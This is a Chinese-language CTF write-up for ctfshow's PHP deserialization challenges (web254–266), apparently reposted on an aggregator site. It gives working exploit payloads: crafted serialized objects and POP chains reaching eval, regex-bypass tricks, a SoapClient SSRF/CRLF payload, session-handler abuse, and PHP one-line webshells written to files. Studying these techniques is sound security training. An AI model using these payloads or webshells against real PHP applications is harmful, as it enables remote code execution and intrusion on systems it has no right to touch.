ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

ctfshow_反序列化上

2021-10-30 21:31:46  阅读:174  来源: 互联网

标签:__ null string 3A% token ctfshow 序列化 public


web254

?username=xxxxxx&password=xxxxxx

web255

cookie:

user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256

cookie:

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

get:

?username=a&password=xxxxxx

web257

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

想要调用的函数:eval

    public function __destruct(){
        $this->class->getInfo();
    }

想办法更改ctfShowUser类的class属性为backDoor类

 

无绕过

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class;
​
    public function __construct($a)
    {
        $this->class = $a;
    }
​
}
​
class backDoor{
    private $code='phpinfo();';
    public function getInfo(){
        eval($this->code);
    }
}
$a = new backDoor();
$b = new ctfShowUser($a);
echo urlencode(serialize($b));

web258

添加了一层过滤

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

 

加个加号就能绕过了

O%3A%2b11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2b8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

%2b url编码后的 +

就是说,O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}

:号后面加空格不影响

web259

给出flag.php源代码

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
​
​
if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

访问flag.php 页面回显your ip not 127.0.0.1

index.php

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

反序列化入口在这里

 

SoapClient

//需要打开php.ini里的soap的拓展

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

类摘要如下:

SoapClient {
    /* 方法 */
    public __construct ( string|null $wsdl , array $options = [] )
    public __call ( string $name , array $args ) : mixed
    public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
    public __getCookies ( ) : array
    public __getFunctions ( ) : array|null
    public __getLastRequest ( ) : string|null
    public __getLastRequestHeaders ( ) : string|null
    public __getLastResponse ( ) : string|null
    public __getLastResponseHeaders ( ) : string|null
    public __getTypes ( ) : array|null
    public __setCookie ( string $name , string|null $value = null ) : void
    public __setLocation ( string $location = "" ) : string|null
    public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
    public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}

可以看到,该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。

该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])

public SoapClient :: SoapClient(mixed $wsdl [,array $options ]) 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

 

payload:

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

参考文章: https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html

soapclient https://www.btis.site/2020/07/13/SoapClient%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%EF%BC%9A

web260

?ctfshow=s%3A18%3A%22ctfshow_i_love_36D%22%3B

web261

题目提示:打Redis

目标:file_put_contents($this->username, $this->password);

ps:

如果类中同时定义了 unserialize() 和 wakeup() 两个魔术方法, 则只有 unserialize() 方法会生效,wakeup() 方法会被忽略。

 

<?php
class ctfshowvip{
    public $username;
    public $password;
​
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo serialize($a);

web262

注释提示:message.php

 if($msg->token=='admin'){
        echo $flag;

但是我们无法直接控制token这个属性,他是被写死的

回到一开始的页面

$umsg = str_replace('fuck', 'loveU', serialize($msg));

fuck 四个字符,替换后为5个字符

 

可以通过反序列化字符逃逸来控制token,一开始的页面就是造cookie的,通过在第一个页面,逃逸造出来的带有恶意token属性的cookie去访问message,反序列化拿flag

O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";N;s:5:"token";s:5:"admin";}
要逃逸的内容:27个字符
";s:5:"token";s:5:"admin";}

我们输入27次fuck,替换后就是比原来多了27个字符

 

本地调试:

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$str = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$a = new message(1,2,$str);
$mes = serialize($a);
$umsg = str_replace('fuck', 'loveU', $mes);
​
var_dump(unserialize($umsg));

结果:

object(message)#2 (4) {
  ["from"]=>
  int(1)
  ["msg"]=>
  int(2)
  ["to"]=>
  string(135) "loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU"
  ["token"]=>
  string(5) "admin"
}

可见此时token已被逃逸成admin

 

反过来,如果替换变少的话,我们也可以新增属性

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
//echo serialize(new message());
$b='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck';
$str = ';s:5:"token";s:5:"admin';
$a = new message(1,$b,$str);
$mes = serialize($a);
$umsg = str_replace('fuck', 'lov', $mes);
echo $umsg;
//O:7:"message":3:{s:4:"from";i:1;s:3:"msg";s:68:"lovlovlovlovlovlovlovlovlovlovlovlovlovlovlovlovlov";s:2:"to";s:23:";s:5:"token";s:5:"admin";}
//";s:2:"to";s:23:"
//17个字符
var_dump(unserialize($umsg));
​
O:7:"message":3:{s:4:"from";i:1;s:3:"msg";s:64:"lovlovlovlovlovlovlovlovlovlovlovlovlovlovlovlov";s:2:"to";s:23:";s:5:"token";s:5:"admin";}object(message)#2 (4) {
  ["from"]=>
  int(1)
  ["msg"]=>
  string(64) "lovlovlovlovlovlovlovlovlovlovlovlovlovlovlovlov";s:2:"to";s:23:"
  ["to"]=>
  NULL
  ["token"]=>
  string(5) "admin"
}

新增了不存在的属性

web263

php session 反序列化,www.zip

1.理解php session反序列化漏洞原理

https://www.jb51.net/article/116246.htm

2.做题

$_COOKIE['limit']我们可控

inc/inc.php

file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));

"log-".$this->username 我们写入的文件名

"使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s') 我们写入的东西

 

但是怎么调用这个User类中的__destruct呢,我们可以通过phpsession,反序列化储存后,取出时调用的unserialize来触发

<?php
class User{
    public $username;
    public $password;
    public $status='a';
​
}
$a=new User();
$a->username='a.php';
$a->password='<?php eval($_POST[1]);?>';
echo base64_encode('|'.serialize($a));

把生成的东西放到cookie['limit']里,然后访问index.php

触发

$_SESSION['limit']=base64_decode($_COOKIE['limit']);

存入session

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将 a:1:{s:4:"ryat";s:30:" 作为SESSION的key,将 O:1:"A":1:{s:1:"a";s:2:"xx";} 作为value,然后进行反序列化,最后就会得到A这个类。

这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。漏洞在加载使用php引擎的页面时session去读session中的内容并反序列化导致漏洞触发,不需要任何输出

 

我们就能写入log-a.php一句话了

web264

262+263的感觉

$_SESSION['msg']=base64_encode($umsg)

在这里存进了session

 

message.php

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

在这里取出了session,同时伴有unserialize

/?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web265

    public function login(){
        return $this->token===$this->password;
    }

token是随机数,但是password我们可控 地址传参,让password指向token的地址

<?php
class ctfshowAdmin{
    public $token;
    public $password;
​
    public function __construct(){
        $this->token= 'a';
        $this->password = &$this->token;
    }
}
​
echo urlencode(serialize(new ctfshowAdmin()));

web266

if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

如果匹配到ctfshow,就会抛出异常,导致无法触发__destruct方法

 

拿上一题的环境测试:

<?php
class ctfshowAdmin{
    public $token;
    public $password;
​
    public function __construct(){
        $this->token= 'a';
        $this->password = &$this->token;
    }
    public function __destruct(){
        echo '<br>success<br>';
    }
}
$a = new ctfshowAdmin();
echo serialize($a);
​
$c = 'O:12:"CtfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}';
unserialize($c);

 

回显

O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}
success
​
success

因此,只要将序列化后的字符串,给他把c大写就能绕过正则匹配了,且反序列化不影响

本地测试多次,哪个字符大小写貌似都不影响__destruct

 

 

 

 

 

标签:__,null,string,3A%,token,ctfshow,序列化,public
来源: https://www.cnblogs.com/aeqaqstudy/p/15487484.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有